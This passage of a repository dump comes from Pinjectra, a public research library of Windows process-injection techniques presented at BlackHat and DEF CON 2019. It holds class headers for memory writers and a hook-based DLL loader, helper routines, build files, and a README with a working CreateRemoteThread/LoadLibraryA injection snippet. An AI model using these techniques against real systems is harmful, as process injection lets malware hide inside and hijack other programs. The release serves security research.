11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | 36 | // Local Include's 37 | #include "ExecutionTechnique.h" 38 | #include "HookProcProvider.h" 39 | 40 | // Classes 41 | class LoadDLLViaWindowsHook : 42 | public ExecutionTechnique 43 | { 44 | public: 45 | // Constructor & Destructor 46 | LoadDLLViaWindowsHook(HookProcProvider* hookprocprovider) 47 | :m_hookprocprovider(hookprocprovider) { } 48 | ~LoadDLLViaWindowsHook(); 49 | 50 | // Methods 51 | boolean inject(DWORD pid, DWORD tid); 52 | 53 | protected: 54 | // Members 55 | HookProcProvider* m_hookprocprovider; 56 | }; 57 | 58 | -------------------------------------------------------------------------------- /Pinjector/WritingTechniques.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | #include 36 | #include 37 | 38 | #include 39 | 40 | // Local Include's 41 | #include "PinjectraPacket.h" 42 | #include "DynamicPayloads.h" 43 | 44 | // Data Types 45 | typedef struct { 46 | HANDLE process; 47 | HANDLE thread; 48 | LPVOID addr; 49 | LPVOID entry_point; 50 | SIZE_T tot_write; 51 | SIZE_T tot_alloc; 52 | } RUNTIME_MEM_ENTRY; 53 | 54 | typedef struct { 55 | HANDLE process; 56 | HANDLE thread; 57 | DWORD pid; 58 | DWORD tid; 59 | } TARGET_PROCESS; 60 | 61 | //////////////////// 62 | // Writer Classes // 63 | //////////////////// 64 | 65 | class SimpleMemoryWriter 66 | { 67 | public: 68 | virtual RUNTIME_MEM_ENTRY* write(DWORD pid, DWORD tid) = 0; 69 | }; 70 | 71 | class AdvanceMemoryWriter 72 | { 73 | public: 74 | virtual RUNTIME_MEM_ENTRY* writeto(HANDLE process_handle, SIZE_T additional_mem_space) = 0; 75 | }; 76 | 77 | class ComplexMemoryWriter 78 | { 79 | public: 80 | virtual PINJECTRA_PACKET* eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map ¶ms) = 0; 81 | }; 82 | 83 | // Base Class 84 | class MutableAdvanceMemoryWriter : 85 | public AdvanceMemoryWriter 86 | { 87 | public: 88 | void* GetBuffer(void) const { return(m_buf); }; 89 | void SetBuffer(void *buf) { m_buf = buf; }; 90 | size_t GetBufferSize(void) const { return(m_nbyte); }; 91 | void SetBufferSize(size_t nbyte) { m_nbyte = nbyte; }; 92 | 93 | protected: 94 | void* m_buf; 95 | size_t m_nbyte; 96 | }; 97 | 98 | ///////////////////// 99 | // Adapter Classes // 100 | ///////////////////// 101 | 102 | class ComplexToMutableAdvanceMemoryWriter : 103 | public ComplexMemoryWriter 104 | { 105 | public: 106 | // Constructor & Destructor 107 | ComplexToMutableAdvanceMemoryWriter(DynamicPayload* payload, MutableAdvanceMemoryWriter* writer) : 108 | m_payload(payload), 109 | m_writer(writer) { } 110 | ~ComplexToMutableAdvanceMemoryWriter(); 111 | 112 | // Methods 113 | PINJECTRA_PACKET* eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map& params); 114 | 115 | protected: 116 | // Members 117 | DynamicPayload* m_payload; 118 | MutableAdvanceMemoryWriter* m_writer; 119 | }; 120 | -------------------------------------------------------------------------------- /Pinjector/memmem.c: -------------------------------------------------------------------------------- 1 | /************************************************************************** 2 | * * 3 | * Copyright (c) 2019, SafeBreach * 4 | * All rights reserved. * 5 | * * 6 | * Redistribution and use in source and binary forms, with or without * 7 | * modification, are permitted provided that the following conditions are * 8 | * met: * 9 | * * 10 | * 1. Redistributions of source code must retain the above * 11 | * copyright notice, this list of conditions and the following * 12 | * disclaimer. * 13 | * * 14 | * 2. Redistributions in binary form must reproduce the * 15 | * above copyright notice, this list of conditions and the following * 16 | * disclaimer in the documentation and/or other materials provided with * 17 | * the distribution. * 18 | * * 19 | * 3. Neither the name of the copyright holder * 20 | * nor the names of its contributors may be used to endorse or promote * 21 | * products derived from this software without specific prior written * 22 | * permission. * 23 | * * 24 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * 25 | * AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * 26 | * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * 27 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * 28 | * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * 29 | * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * 30 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * 31 | * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * 32 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER * 33 | * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * 34 | * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * 35 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * 36 | * * 37 | ***************************************************************************/ 38 | 39 | // AUTHORS: Amit Klein, Itzik Kotler 40 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 41 | 42 | #include "memmem.h" 43 | 44 | // https://stackoverflow.com/questions/52988769/writing-own-memmem-for-windows 45 | void* memmem(const void* haystack, size_t haystack_len, const void* const needle, const size_t needle_len) 46 | { 47 | if (haystack == NULL) return NULL; // or assert(haystack != NULL); 48 | if (haystack_len == 0) return NULL; 49 | if (needle == NULL) return NULL; // or assert(needle != NULL); 50 | if (needle_len == 0) return NULL; 51 | 52 | for (const char* h = haystack; 53 | haystack_len >= needle_len; 54 | ++h, --haystack_len) { 55 | if (!memcmp(h, needle, needle_len)) { 56 | return h; 57 | } 58 | } 59 | return NULL; 60 | } 61 | -------------------------------------------------------------------------------- /Pinjector/memmem.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | #include 34 | 35 | void* memmem(const void* haystack, size_t haystack_len, const void* const needle, const size_t needle_len); 36 | -------------------------------------------------------------------------------- /Pinjector/misc.c: -------------------------------------------------------------------------------- 1 | /************************************************************************** 2 | * * 3 | * Copyright (c) 2019, SafeBreach * 4 | * All rights reserved. * 5 | * * 6 | * Redistribution and use in source and binary forms, with or without * 7 | * modification, are permitted provided that the following conditions are * 8 | * met: * 9 | * * 10 | * 1. Redistributions of source code must retain the above * 11 | * copyright notice, this list of conditions and the following * 12 | * disclaimer. * 13 | * * 14 | * 2. Redistributions in binary form must reproduce the * 15 | * above copyright notice, this list of conditions and the following * 16 | * disclaimer in the documentation and/or other materials provided with * 17 | * the distribution. * 18 | * * 19 | * 3. Neither the name of the copyright holder * 20 | * nor the names of its contributors may be used to endorse or promote * 21 | * products derived from this software without specific prior written * 22 | * permission. * 23 | * * 24 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * 25 | * AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * 26 | * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * 27 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * 28 | * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * 29 | * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * 30 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * 31 | * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * 32 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER * 33 | * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * 34 | * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * 35 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * 36 | * * 37 | ***************************************************************************/ 38 | 39 | // AUTHORS: Amit Klein, Itzik Kotler 40 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 41 | 42 | #include 43 | 44 | 45 | void _wait_until_done(HANDLE t, DWORD64 expected_rip_value) 46 | { 47 | CONTEXT x; 48 | do 49 | { 50 | Sleep(10); 51 | SuspendThread(t); 52 | x.ContextFlags = CONTEXT_CONTROL; 53 | GetThreadContext(t, &x); 54 | ResumeThread(t); 55 | } while (x.Rip != expected_rip_value); 56 | //printf("Done...\n"); 57 | } 58 | -------------------------------------------------------------------------------- /Pinjector/misc.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | void _wait_until_done(HANDLE t, DWORD64 expected_rip_value); 34 | -------------------------------------------------------------------------------- /Pinjector/ntapi.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Datatypes for PNtMapViewOfSection 34 | typedef enum _SECTION_INHERIT { 35 | ViewShare = 1, 36 | ViewUnmap = 2 37 | } SECTION_INHERIT; 38 | -------------------------------------------------------------------------------- /Pinjectra.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.28803.352 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestProcess", "TestProcess\TestProcess.vcxproj", "{DC42424A-C8A8-46EE-AEB1-C03A654C15E9}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Pinjectra", "Pinjector\Pinjector.vcxproj", "{B98CEFBF-BE57-445E-A8D1-24C8A32DE169}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MsgBoxOnGetMsgProc", "MsgBoxOnGetMsgProc\MsgBoxOnGetMsgProc.vcxproj", "{03EFD090-F799-4071-B684-A3086CF2FA70}" 11 | EndProject 12 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MsgBoxOnProcessAttach", "MsgBoxOnProcessAttach\MsgBoxOnProcessAttach.vcxproj", "{259CE055-7726-4963-AFC5-42C8847BF53D}" 13 | EndProject 14 | Global 15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 16 | Debug|x64 = Debug|x64 17 | Debug|x86 = Debug|x86 18 | Release|x64 = Release|x64 19 | Release|x86 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9}.Debug|x64.ActiveCfg = Debug|x64 23 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9}.Debug|x64.Build.0 = Debug|x64 24 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9}.Debug|x86.ActiveCfg = Debug|Win32 25 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9}.Debug|x86.Build.0 = Debug|Win32 26 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9}.Release|x64.ActiveCfg = Release|x64 27 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9}.Release|x64.Build.0 = Release|x64 28 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9}.Release|x86.ActiveCfg = Release|Win32 29 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9}.Release|x86.Build.0 = Release|Win32 30 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169}.Debug|x64.ActiveCfg = Debug|x64 31 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169}.Debug|x64.Build.0 = Debug|x64 32 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169}.Debug|x86.ActiveCfg = Debug|Win32 33 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169}.Debug|x86.Build.0 = Debug|Win32 34 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169}.Release|x64.ActiveCfg = Release|x64 35 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169}.Release|x64.Build.0 = Release|x64 36 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169}.Release|x86.ActiveCfg = Release|Win32 37 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169}.Release|x86.Build.0 = Release|Win32 38 | {03EFD090-F799-4071-B684-A3086CF2FA70}.Debug|x64.ActiveCfg = Debug|x64 39 | {03EFD090-F799-4071-B684-A3086CF2FA70}.Debug|x64.Build.0 = Debug|x64 40 | {03EFD090-F799-4071-B684-A3086CF2FA70}.Debug|x86.ActiveCfg = Debug|Win32 41 | {03EFD090-F799-4071-B684-A3086CF2FA70}.Debug|x86.Build.0 = Debug|Win32 42 | {03EFD090-F799-4071-B684-A3086CF2FA70}.Release|x64.ActiveCfg = Release|x64 43 | {03EFD090-F799-4071-B684-A3086CF2FA70}.Release|x64.Build.0 = Release|x64 44 | {03EFD090-F799-4071-B684-A3086CF2FA70}.Release|x86.ActiveCfg = Release|Win32 45 | {03EFD090-F799-4071-B684-A3086CF2FA70}.Release|x86.Build.0 = Release|Win32 46 | {259CE055-7726-4963-AFC5-42C8847BF53D}.Debug|x64.ActiveCfg = Debug|x64 47 | {259CE055-7726-4963-AFC5-42C8847BF53D}.Debug|x64.Build.0 = Debug|x64 48 | {259CE055-7726-4963-AFC5-42C8847BF53D}.Debug|x86.ActiveCfg = Debug|Win32 49 | {259CE055-7726-4963-AFC5-42C8847BF53D}.Debug|x86.Build.0 = Debug|Win32 50 | {259CE055-7726-4963-AFC5-42C8847BF53D}.Release|x64.ActiveCfg = Release|x64 51 | {259CE055-7726-4963-AFC5-42C8847BF53D}.Release|x64.Build.0 = Release|x64 52 | {259CE055-7726-4963-AFC5-42C8847BF53D}.Release|x86.ActiveCfg = Release|Win32 53 | {259CE055-7726-4963-AFC5-42C8847BF53D}.Release|x86.Build.0 = Release|Win32 54 | EndGlobalSection 55 | GlobalSection(SolutionProperties) = preSolution 56 | HideSolutionNode = FALSE 57 | EndGlobalSection 58 | GlobalSection(ExtensibilityGlobals) = postSolution 59 | SolutionGuid = {C52DD938-A9A4-4EF0-8D21-6D7ED1EFC251} 60 | EndGlobalSection 61 | EndGlobal 62 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pinjectra 2 | Pinjectra is a C/C++ library that implements Process Injection techniques (with focus on Windows 10 64-bit) in a "mix and match" style. Here's an example: 3 | 4 | ``` 5 | // CreateRemoteThread Demo + DLL Load (i.e., LoadLibraryA as Entry Point) 6 | executor = new CodeViaCreateRemoteThread( 7 | new OpenProcess_VirtualAllocEx_WriteProcessMemory( 8 | (void *)"MsgBoxOnProcessAttach.dll", 9 | 25, 10 | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, 11 | MEM_COMMIT | MEM_RESERVE, 12 | PAGE_READWRITE), 13 | LoadLibraryA 14 | ); 15 | 16 | executor->inject(pid, tid); 17 | ``` 18 | 19 | It's also currently the only implementation of the "Stack Bomber" technique. A new process injection technique that is working on Windows 10 64-bit with both CFG and CIG enabled. 20 | 21 | Pinjectra, and "Stack Bomber" technique released as part of the [Process Injection Techniques - Gotta Catch Them All](https://www.blackhat.com/us-19/briefings/schedule/#process-injection-techniques---gotta-catch-them-all-16010) talk given at BlackHat USA 2019 conference and DEF CON 27 by Itzik Kotler and Amit Klein from [SafeBreach Labs](http://www.safebreach.com). 22 | 23 | ### Version 24 | 0.1.0 25 | 26 | License 27 | ---- 28 | 29 | BSD 3-Clause 30 | -------------------------------------------------------------------------------- /TestProcess/TestProcess.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {DC42424A-C8A8-46EE-AEB1-C03A654C15E9} 24 | Win32Proj 25 | TestProcess 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | Level3 90 | Disabled 91 | true 92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | 95 | 96 | Console 97 | true 98 | 99 | 100 | 101 | 102 | 103 | 104 | Level3 105 | Disabled 106 | true 107 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | 114 | 115 | 116 | 117 | 118 | 119 | Level3 120 | MaxSpeed 121 | true 122 | true 123 | true 124 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 125 | true 126 | 127 | 128 | Console 129 | true 130 | true 131 | true 132 | 133 | 134 | 135 | 136 | 137 | 138 | Level3 139 | MaxSpeed 140 | true 141 | true 142 | true 143 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 144 | true 145 | 146 | 147 | Console 148 | true 149 | true 150 | true 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | -------------------------------------------------------------------------------- /TestProcess/TestProcess.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | --------------------------------------------------------------------------------